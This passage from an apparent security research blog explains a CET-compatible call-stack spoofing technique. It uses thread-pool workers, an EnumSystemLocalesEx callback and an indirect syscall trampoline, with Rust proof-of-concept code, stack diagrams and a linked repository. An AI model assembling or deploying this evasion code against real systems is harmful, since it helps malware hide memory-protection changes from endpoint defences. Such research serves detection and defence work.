<p><strong>Important:</strong> there is also a 32-bit variant, <code class="language-text highlighter-rouge">INCSSPD</code>, which advances by <code class="language-text highlighter-rouge">reg × 4</code> bytes. On x64, shadow stack entries are 8 bytes each. Using <code class="language-text highlighter-rouge">INCSSPD</code> with a value of 1 advances by only 4 bytes, half an entry, and leaves the SSP misaligned. On x64, always use <code class="language-text highlighter-rouge">INCSSPQ</code>. I learned this the hard way (see <a href="#84-incsspd-vs-incsspq-the-4-byte-misalignment">Section 8.4</a>).</p>

<p>These are the foundation of my CET compliance strategy.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/fully_working_SSP_vs_CS.png" alt="Example of fully working Shadow Stack compared to normal call stack" width="657" height="329" />
    <br />
    <em>Example of fully working Shadow Stack compared to normal call stack</em>
</p>

<h3 id="38-the-teb-arbitraryuserpointer">3.8 The TEB <code class="language-text highlighter-rouge">ArbitraryUserPointer</code></h3>

<p>The Thread Environment Block (<code class="language-text highlighter-rouge">TEB</code>) at offset <code class="language-text highlighter-rouge">0x28</code> has a field called <code class="language-text highlighter-rouge">ArbitraryUserPointer</code>. It’s a per-thread pointer with no defined OS semantics. Applications can use it for whatever.</p>

<p>I use it as a covert data channel between Phase 1 and Phase 2. The problem: the enum callback has a fixed signature defined by Windows. I can’t add extra parameters. But I need to pass a pointer to my <code class="language-text highlighter-rouge">EmbeddedContext</code> somehow.</p>

<p>Since both the worker and the callback run on the same thread, I write the pointer to <code class="language-text highlighter-rouge">TEB+0x28</code> in Phase 1 and read it back in Phase 2. Original value saved, restored when done.</p>

<p>Simple, but effective.</p>

<hr />

<h2 id="4-technique-design">4. Technique Design</h2>

<h3 id="41-high-level-overview">4.1 High-Level Overview</h3>

<p>In one sentence: <strong>I use a thread pool to call an enum function, whose callback performs a manual unwind and redirects execution to an indirect <code class="language-text highlighter-rouge">syscall</code>, while keeping the CET shadow stack aligned.</strong></p>

<p>Three phases, same thread:</p>

<ol>
  <li><strong>Thread pool worker</strong>: creates a clean stack base, unwinds one frame, redirects to an enum function (e.g. <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code>).</li>
  <li><strong>Enum callback (first invocation)</strong>: unwinds again, sets up the <code class="language-text highlighter-rouge">syscall</code> registers, redirects to a <code class="language-text highlighter-rouge">syscall; ret</code> trampoline in <code class="language-text highlighter-rouge">ntdll.dll</code>.</li>
  <li><strong>Enum callback (second invocation, if needed)</strong>: cleans up stack slots, returns <code class="language-text highlighter-rouge">0</code> to stop the enumeration. Only happens if the <code class="language-text highlighter-rouge">syscall</code> returned non-zero (more on this in <a href="#72-why-these-functions-work">7.2</a>).</li>
</ol>

<p>Each “redirect” goes through <code class="language-text highlighter-rouge">user_mode_continue</code>, a custom inline assembly routine that reconciles the CET shadow stack and restores the full CPU state before jumping to the target.</p>

<h3 id="42-the-three-phases">4.2 The Three Phases</h3>

<p>Let me walk you through the stack visually.</p>

<p><strong>Before Phase 1: thread pool worker’s natural stack</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>  ┌─────────────────────────────────────────────────────────┐
  │ thread_pool_worker_enum (our callback)                  │ ← we are here
  │─────────────────────────────────────────────────────────│
  │ ntdll!TppWorkpExecuteCallback+4D0                       │
  │─────────────────────────────────────────────────────────│
  │ ntdll!TppWorkerThread+801                               │
  │─────────────────────────────────────────────────────────│
  │ kernel32!BaseThreadInitThunk+17                         │
  │─────────────────────────────────────────────────────────│
  │ ntdll!RtlUserThreadStart+2C                             │
  └─────────────────────────────────────────────────────────┘
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We unwind our frame and redirect execution to <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code>. After the redirect:</p>

<p><strong>Inside <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code>, before it calls our callback:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>  ┌─────────────────────────────────────────────────────────┐
  │ kernelbase!EnumSystemLocalesEx                          │ ← we jumped here
  │─────────────────────────────────────────────────────────│
  │ ntdll!TppWorkpExecuteCallback+4D0                       │ ← return address preserved
  │─────────────────────────────────────────────────────────│
  │ ntdll!TppWorkerThread+801                               │
  │─────────────────────────────────────────────────────────│
  │ kernel32!BaseThreadInitThunk+17                         │
  │─────────────────────────────────────────────────────────│
  │ ntdll!RtlUserThreadStart+2C                             │
  └─────────────────────────────────────────────────────────┘
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> calls our callback. The callback unwinds and redirects to the <code class="language-text highlighter-rouge">syscall</code> trampoline:</p>

<p><strong>Phase 2: the exact moment <code class="language-text highlighter-rouge">syscall</code> executes</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>  ┌─────────────────────────────────────────────────────────┐
  │ ntdll!NtProtectVirtualMemory+12                         │ ← `syscall; ret` trampoline
  │─────────────────────────────────────────────────────────│
  │ kernelbase!Internal_EnumSystemLocales+348               │ ← real frame
  │─────────────────────────────────────────────────────────│
  │ kernelbase!EnumSystemLocalesEx+1F                       │ ← real frame
  │─────────────────────────────────────────────────────────│
  │ ntdll!TppWorkpExecuteCallback+4D0                       │ ← thread pool
  │─────────────────────────────────────────────────────────│
  │ ntdll!TppWorkerThread+801                               │ ← thread pool
  │─────────────────────────────────────────────────────────│
  │ kernel32!BaseThreadInitThunk+17                         │
  │─────────────────────────────────────────────────────────│
  │ ntdll!RtlUserThreadStart+2C                             │
  └─────────────────────────────────────────────────────────┘
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Every single frame: <code class="language-text highlighter-rouge">ntdll.dll</code>, <code class="language-text highlighter-rouge">kernelbase.dll</code>, or <code class="language-text highlighter-rouge">kernel32.dll</code>. No unbacked memory.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/ZwProtectVirtualMemory_callstack_ssp.png" alt="WinDbg callstack at the moment of syscall" width="757" height="499" />
    <br />
    <em>WinDbg callstack at the moment of syscall</em>
</p>

<h3 id="43-the-resulting-callstack">4.3 The Resulting Callstack</h3>

<p>The exact call stack captured during a real run, with offsets:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>ntdll!NtProtectVirtualMemory+12
kernelbase!Internal_EnumSystemLocales+348
kernelbase!EnumSystemLocalesEx+1F
ntdll!TppWorkpExecuteCallback+4D0
ntdll!TppWorkerThread+801
kernel32!BaseThreadInitThunk+17
ntdll!RtlUserThreadStart+2C
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> (resolved from <code class="language-text highlighter-rouge">kernelbase.dll</code>) internally calls <code class="language-text highlighter-rouge">Internal_EnumSystemLocales</code>, which in turn calls our callback. Both frames are on the stack, both from <code class="language-text highlighter-rouge">kernelbase.dll</code>.</p>

<p align="center">
    <img loading="lazy" decoding="async" src="/assets/img/cet-callstack-spoofing-thread-pool-trampoline/console_output.png" alt="Console output showing successful execution" width="1137" height="639" />
    <br />
    <em>Console output showing successful execution</em>
</p>

<p>The full Proof of Concept repository is available on GitHub: <a href="https://github.com/MrTiz/CET-Enum-CallStack-Spoofer">MrTiz/CET-Enum-CallStack-Spoofer</a>.</p>

<hr />

<h2 id="5-implementation-deep-dive">5. Implementation Deep Dive</h2>

<p>The PoC is Rust, targeting <code class="language-text highlighter-rouge">x86_64-pc-windows-msvc</code>. Let’s go through it piece by piece.</p>

<h3 id="51-the-embeddedcontext-structure">5.1 The <code class="language-text highlighter-rouge">EmbeddedContext</code> Structure</h3>

<p>This is the shared state across all three phases: <code class="language-text highlighter-rouge">syscall</code> parameters, bookkeeping, stack backups.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="nd">#[repr(C)]</span>
<span class="nd">#[derive(Default)]</span>
<span class="k">struct</span> <span class="n">EmbeddedContext</span> <span class="p">{</span>
    <span class="n">ssn</span>             <span class="p">:</span> <span class="nb">u32</span><span class="p">,</span> <span class="c1">// System Service Number</span>
    <span class="c1">// [4 bytes padding]</span>
    <span class="n">trampoline</span>      <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Address of "syscall; ret" in ntdll</span>
    <span class="n">args_len</span>        <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Number of syscall arguments (up to 11)</span>
    <span class="n">arg1</span>            <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Syscall arguments 1..11</span>
    <span class="n">arg2</span>            <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span>
    <span class="c1">// ... arg3 through arg11 ...</span>
    <span class="n">invoke_count</span>    <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// How many times the callback was invoked</span>
    <span class="n">backup_addr_arg5</span><span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Phase 1 stack backups (address + value)</span>
    <span class="n">backup_val_arg5</span> <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span>
    <span class="n">backup_addr_arg6</span><span class="p">:</span> <span class="nb">u64</span><span class="p">,</span>
    <span class="n">backup_val_arg6</span> <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span>
    <span class="n">backup_addr_arg7</span><span class="p">:</span> <span class="nb">u64</span><span class="p">,</span>
    <span class="n">backup_val_arg7</span> <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span>
    <span class="n">init_once</span>       <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span>
    <span class="n">worker_ctx_ptr</span>  <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Pointer to Phase 1 CONTEXT</span>
    <span class="n">callback_ctx_ptr</span><span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Pointer to Phase 2 CONTEXT</span>
    <span class="n">saved_aup</span>       <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Original TEB ArbitraryUserPointer</span>
    <span class="n">magic</span>           <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Self-referencing pointer for validation</span>
    <span class="n">cb_sp</span>           <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Phase 2 stack pointer (for cleanup)</span>
    <span class="n">cb_orig_5</span>       <span class="p">:</span> <span class="nb">u64</span><span class="p">,</span> <span class="c1">// Phase 2 stack backups (original values)</span>
    <span class="c1">// ... cb_orig_6 through cb_orig_11 ...</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The <code class="language-text highlighter-rouge">magic</code> field stores the structure’s own address (<code class="language-text highlighter-rouge">embedded_ctx.magic = &amp;embedded_ctx as u64</code>). In the callback, we validate the pointer from <code class="language-text highlighter-rouge">TEB+0x28</code> by checking: “does <code class="language-text highlighter-rouge">*(ptr + 0xC8)</code> equal <code class="language-text highlighter-rouge">ptr</code> itself?” An arbitrary random pointer is almost certainly not going to pass that check.</p>

<h3 id="52-the-thread-pool-dispatcher">5.2 The Thread Pool Dispatcher</h3>

<p>The entry point. Creates a work item, submits it, waits, checks the result.</p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre><span class="k">fn</span> <span class="nf">thread_pool_dispatcher</span><span class="p">(</span><span class="n">embedded_ctx</span><span class="p">:</span> <span class="o">&amp;</span><span class="k">mut</span> <span class="n">EmbeddedContext</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">embedded_ctx</span><span class="py">.magic</span> <span class="o">=</span> <span class="nf">from_ref</span><span class="p">(</span><span class="n">embedded_ctx</span><span class="p">)</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">;</span>

    <span class="k">loop</span> <span class="p">{</span>
        <span class="n">embedded_ctx</span><span class="py">.invoke_count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">let</span> <span class="n">context_addr</span> <span class="o">=</span> <span class="nn">from_ref</span><span class="p">::</span><span class="o">&lt;</span><span class="n">EmbeddedContext</span><span class="o">&gt;</span><span class="p">(</span><span class="n">embedded_ctx</span><span class="p">)</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">;</span>

        <span class="k">let</span> <span class="n">work</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>
            <span class="nf">CreateThreadpoolWork</span><span class="p">(</span>
                <span class="nf">Some</span><span class="p">(</span><span class="n">thread_pool_worker_enum</span><span class="p">),</span>
                <span class="n">context_addr</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="n">_</span><span class="p">,</span>
                <span class="nf">null_mut</span><span class="p">()</span>
            <span class="p">)</span>
        <span class="p">};</span>
        <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">SubmitThreadpoolWork</span><span class="p">(</span><span class="n">work</span><span class="p">)</span> <span class="p">};</span>
        <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">WaitForThreadpoolWorkCallbacks</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="p">};</span>
        <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">CloseThreadpoolWork</span><span class="p">(</span><span class="n">work</span><span class="p">)</span> <span class="p">};</span>

        <span class="k">if</span> <span class="n">embedded_ctx</span><span class="py">.invoke_count</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">{</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The loop is a safety net. If the <code class="language-text highlighter-rouge">magic</code> validation fails in the callback (because something else wrote to <code class="language-text highlighter-rouge">TEB+0x28</code> between phases), <code class="language-text highlighter-rouge">invoke_count</code> stays <code class="language-text highlighter-rouge">0</code> and we retry. In practice this never happens, but I’d rather retry than silently fail.</p>

<h3 id="53-phase-1-the-thread-pool-worker">5.3 Phase 1: The Thread Pool Worker</h3>

<p>The most complex phase. Let me go through it step by step.</p>

<p><strong>Capture and unwind:</strong></p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="k">extern</span> <span class="s">"system"</span> <span class="k">fn</span> <span class="nf">thread_pool_worker_enum</span><span class="p">(</span>
    <span class="k">mut</span> <span class="n">_instance</span><span class="p">:</span> <span class="n">PTP_CALLBACK_INSTANCE</span><span class="p">,</span>
    <span class="n">context</span>      <span class="p">:</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">c_void</span><span class="p">,</span>
    <span class="k">mut</span> <span class="n">_work</span>    <span class="p">:</span> <span class="n">PTP_WORK</span>
<span class="p">)</span> <span class="p">{</span>
    <span class="c1">// -- Step 1: Capture current CPU state --</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">aligned_context</span><span class="p">:</span> <span class="n">AlignedContext</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">zeroed</span><span class="p">()</span> <span class="p">};</span>
    <span class="k">let</span> <span class="n">context_record</span><span class="p">:</span> <span class="o">*</span><span class="k">mut</span> <span class="n">CONTEXT</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="n">aligned_context</span><span class="na">.0</span><span class="p">;</span>

    <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">RtlCaptureContext</span><span class="p">(</span><span class="n">context_record</span><span class="p">)</span> <span class="p">};</span>

    <span class="c1">// -- Step 2: Unwind one frame to get the parent's (TP internals) state --</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">handler_data</span>     <span class="p">:</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">c_void</span> <span class="o">=</span> <span class="nf">null_mut</span><span class="p">();</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">establisher_frame</span><span class="p">:</span> <span class="nb">u64</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">image_base</span>       <span class="p">:</span> <span class="nb">u64</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

    <span class="k">let</span> <span class="n">control_pc</span>     <span class="o">=</span> <span class="p">(</span><span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">context_record</span> <span class="p">})</span><span class="py">.Rip</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">function_entry</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">RtlLookupFunctionEntry</span><span class="p">(</span><span class="n">control_pc</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="n">image_base</span><span class="p">,</span> <span class="nf">null_mut</span><span class="p">())</span> <span class="p">};</span>

    <span class="k">if</span> <span class="n">function_entry</span><span class="nf">.is_null</span><span class="p">()</span> <span class="p">{</span>
        <span class="c1">// Leaf function fallback: simulate a plain `ret` by popping</span>
        <span class="c1">// the return address from [RSP] into RIP.</span>
        <span class="p">(</span><span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">context_record</span> <span class="p">})</span><span class="py">.Rip</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="p">((</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rsp</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="nb">u64</span><span class="p">)</span> <span class="p">};</span>
        <span class="p">(</span><span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">context_record</span> <span class="p">})</span><span class="py">.Rsp</span> <span class="o">+=</span> <span class="mi">8</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="k">unsafe</span> <span class="p">{</span>
            <span class="nf">RtlVirtualUnwind</span><span class="p">(</span>
                <span class="n">UNW_FLAG_NHANDLER</span><span class="p">,</span>
                <span class="n">image_base</span><span class="p">,</span>
                <span class="n">control_pc</span><span class="p">,</span>
                <span class="n">function_entry</span><span class="p">,</span>
                <span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">),</span>
                <span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="n">handler_data</span><span class="p">,</span>
                <span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="n">establisher_frame</span><span class="p">,</span>
                <span class="nf">null_mut</span><span class="p">(),</span>
            <span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-text highlighter-rouge">RtlCaptureContext</code> snapshots all CPU registers. <code class="language-text highlighter-rouge">RtlVirtualUnwind</code> unwinds one frame, giving us the parent’s (TP internals) <code class="language-text highlighter-rouge">RIP</code> and <code class="language-text highlighter-rouge">RSP</code>.</p>

<p>After the unwind, <code class="language-text highlighter-rouge">context_record.Rip</code> contains the return address back into <code class="language-text highlighter-rouge">TppWorkpExecuteCallback</code> and <code class="language-text highlighter-rouge">context_record.Rsp</code> contains the TP internals’ stack pointer. These are the exact values we need to build the redirected frame.</p>

<p><strong>Building the redirected stack:</strong></p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="k">let</span> <span class="n">real_return_address</span> <span class="o">=</span> <span class="p">(</span><span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">context_record</span> <span class="p">})</span><span class="py">.Rip</span><span class="p">;</span>
<span class="k">let</span> <span class="n">new_rsp</span>             <span class="o">=</span> <span class="p">(</span><span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">context_record</span> <span class="p">})</span><span class="py">.Rsp</span> <span class="o">-</span> <span class="mi">8</span><span class="p">;</span>

<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rsp</span><span class="p">,</span>  <span class="n">new_rsp</span><span class="p">)</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">new_rsp</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">u64</span><span class="p">,</span> <span class="n">real_return_address</span><span class="p">)</span> <span class="p">};</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I subtract 8 from the parent’s RSP and place the real return address there. This mimics what <code class="language-text highlighter-rouge">CALL</code> would have done. When <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> eventually returns, its <code class="language-text highlighter-rouge">ret</code> pops this address and control goes back to the TP internals like nothing happened.</p>

<p><strong>Backing up stack slots and setting up the enum function call:</strong></p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="rouge-code"><pre><span class="c1">// Save the stack slots that the enum function will use</span>
<span class="k">let</span> <span class="n">cb</span> <span class="o">=</span> <span class="n">manual_stack_unwind_enum</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="p">()</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">;</span>
<span class="k">let</span> <span class="n">sp_orig</span> <span class="o">=</span> <span class="p">(</span><span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">context_record</span> <span class="p">})</span><span class="py">.Rsp</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">u64</span><span class="p">;</span>

<span class="n">args</span><span class="py">.backup_addr_arg5</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>  <span class="n">sp_orig</span><span class="nf">.add</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="p">}</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">;</span> <span class="c1">// RSP + 0x20</span>
<span class="n">args</span><span class="py">.backup_val_arg5</span>  <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">sp_orig</span><span class="nf">.add</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span> <span class="p">};</span>

<span class="n">args</span><span class="py">.backup_addr_arg6</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>  <span class="n">sp_orig</span><span class="nf">.add</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="p">}</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">;</span> <span class="c1">// RSP + 0x28</span>
<span class="n">args</span><span class="py">.backup_val_arg6</span>  <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">sp_orig</span><span class="nf">.add</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="p">};</span>

<span class="n">args</span><span class="py">.backup_addr_arg7</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span>  <span class="n">sp_orig</span><span class="nf">.add</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="p">}</span> <span class="k">as</span> <span class="nb">u64</span><span class="p">;</span> <span class="c1">// RSP + 0x30</span>
<span class="n">args</span><span class="py">.backup_val_arg7</span>  <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="o">*</span><span class="n">sp_orig</span><span class="nf">.add</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span> <span class="p">};</span>

<span class="c1">// Set up the call to EnumSystemLocalesEx(callback, 0, 0, 0)</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rip</span><span class="p">,</span> <span class="n">enum_cb_addr</span><span class="p">)</span> <span class="p">};</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rcx</span><span class="p">,</span> <span class="n">cb</span>          <span class="p">)</span> <span class="p">};</span> <span class="c1">// lpLocaleEnumProcEx (our callback)</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.Rdx</span><span class="p">,</span> <span class="mi">0</span>           <span class="p">)</span> <span class="p">};</span> <span class="c1">// dwFlags</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.R8</span> <span class="p">,</span> <span class="mi">0</span>           <span class="p">)</span> <span class="p">};</span> <span class="c1">// lParam</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="o">&amp;</span><span class="n">raw</span> <span class="k">mut</span> <span class="p">(</span><span class="o">*</span><span class="n">context_record</span><span class="p">)</span><span class="py">.R9</span> <span class="p">,</span> <span class="mi">0</span>           <span class="p">)</span> <span class="p">};</span> <span class="c1">// lpReserved</span>

<span class="c1">// Write the enum function's 5th, 6th, 7th arguments onto the stack</span>
<span class="k">let</span> <span class="n">sp_new</span> <span class="o">=</span> <span class="n">new_rsp</span> <span class="k">as</span> <span class="o">*</span><span class="k">mut</span> <span class="nb">u64</span><span class="p">;</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">sp_new</span><span class="nf">.add</span><span class="p">(</span><span class="mi">5</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="p">};</span> <span class="c1">// [new_rsp + 0x28] = 5th parameter slot</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">sp_new</span><span class="nf">.add</span><span class="p">(</span><span class="mi">6</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="p">};</span> <span class="c1">// [new_rsp + 0x30] = 6th parameter slot</span>
<span class="k">unsafe</span> <span class="p">{</span> <span class="nf">write_volatile</span><span class="p">(</span><span class="n">sp_new</span><span class="nf">.add</span><span class="p">(</span><span class="mi">7</span><span class="p">),</span> <span class="mi">0</span><span class="p">)</span> <span class="p">};</span> <span class="c1">// [new_rsp + 0x38] = 7th parameter slot</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>That last block deserves explanation. Some of the 39 enum functions take more than 4 parameters (up to 7 among the ones I identified). Those extra parameters go on the stack. If we don’t write proper values there, the enum function reads garbage and crashes. By zeroing those positions, we ensure that every enum function in the basket can be called safely, regardless of its arity. In this PoC, only <code class="language-text highlighter-rouge">EnumSystemLocalesEx</code> (4 params) is used, but the infrastructure is there for the full 39-function basket.</p>

<p><strong>TEB handoff and context switch:</strong></p>

<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="k">let</span> <span class="n">teb_addr</span> <span class="o">=</span> <span class="nf">get_teb_address</span><span class="p">();</span>

<span class="n">args</span><span class="py">.saved_aup</span> <span class="o">=</span> <span class="k">unsafe</span> <span class="p">{</span> <span class="nf">read_volatile</span><span class="p">(</span><span class="n">teb_addr</span><span class="nf">.add</span><span class="p">(</span><span class="mi">0x28</span><span class="p">)</span> <span class="k">as</span> <span class="o">*</span><span class="k">const</span> <span class="nb">u64</span><span class="p">)</span> <span class="p">};</span>
